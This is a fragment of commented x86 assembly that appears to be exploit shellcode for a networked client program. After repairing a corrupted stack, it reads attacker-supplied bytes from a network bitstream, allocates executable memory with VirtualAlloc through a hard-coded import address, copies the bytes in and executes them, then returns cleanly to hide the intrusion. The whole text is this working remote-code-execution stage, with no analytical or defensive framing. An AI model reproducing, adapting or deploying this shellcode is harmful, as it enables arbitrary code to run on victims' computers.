;# repair stack
lea esp, [ebp-0x128]

;# get bitstream
mov eax, [ebp+0x3c]             ;# caption
sub eax, 0x118                  ;# bitstream
mov ecx, [eax]                  ;# numberOfBitsUsed
mov edx, [eax+0x8]              ;# readOffset
mov esi, [eax+0xC]              ;# data ptr
add ecx, 7                      ;# numberOfBitsUsed bits to bytes
shr ecx, 3
add edx, 7                      ;# readOffset bits to bytes
shr edx, 3
sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size
add esi, edx                    ;# data ptr         + readOffset = dll ptr

;# check if empty
test ecx, ecx
jz epilogue

;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                       ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000                     ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                         ;# restore ecx

;# copy dll
rep movsb

;# execute dll
call eax

;# epilogue
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8